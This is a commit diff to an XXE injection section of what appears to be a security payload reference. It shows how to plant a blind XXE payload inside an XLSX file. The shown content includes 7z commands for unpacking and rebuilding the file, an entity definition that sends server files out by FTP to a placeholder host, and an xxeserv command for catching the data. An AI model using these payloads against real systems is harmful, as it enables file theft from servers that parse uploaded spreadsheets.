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Update XXE Injection

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Slight QOL improvements for the recent changes of the chapter `XXE inside XLSX file`
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Markus 2021-10-18 10:13:30 +02:00 committed by GitHub
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XXE Injection/README.md
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@ -506,21 +506,8 @@ GIF (experimental)
Structure of the XLSX:
```
$ 7z l xxe.xlsx
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs x64)
Scanning the drive for archives:
1 file, 4758 bytes (5 KiB)
Listing archive: xxe.xlsx
--
Path = xxe.xlsx
Type = zip
Physical Size = 4758
$ 7z l xxe.xlsx
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 ..... 578 223 _rels/.rels
@ -536,10 +523,13 @@ Physical Size = 4758
2021-10-17 15:19:00 11216 3586 9 files
```
Extract the excel file.
Extract Excel file: `7z x -oXXE xxe.xlsx`
Rebuild Excel file:
```
$ 7z x -oXXE xxe.xlsx
$ cd XXE
$ 7z u ../xxe.xlsx *
```
Add your blind XXE payload inside `xl/workbook.xml`.
@ -559,13 +549,6 @@ Alternativly, add your payload in `xl/sharedStrings.xml`:
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
```
Rebuild the Excel file.
```
$ cd XXE
$ 7z u ../xxe.xlsx *
```
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
Instead we build the document once and then change the DTD.
And using FTP instead of HTTP allows to retrieve much larger files.
@ -577,7 +560,7 @@ And using FTP instead of HTTP allows to retrieve much larger files.
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
```
Start the FTP + HTTP server:
Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/xxeserv):
```
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000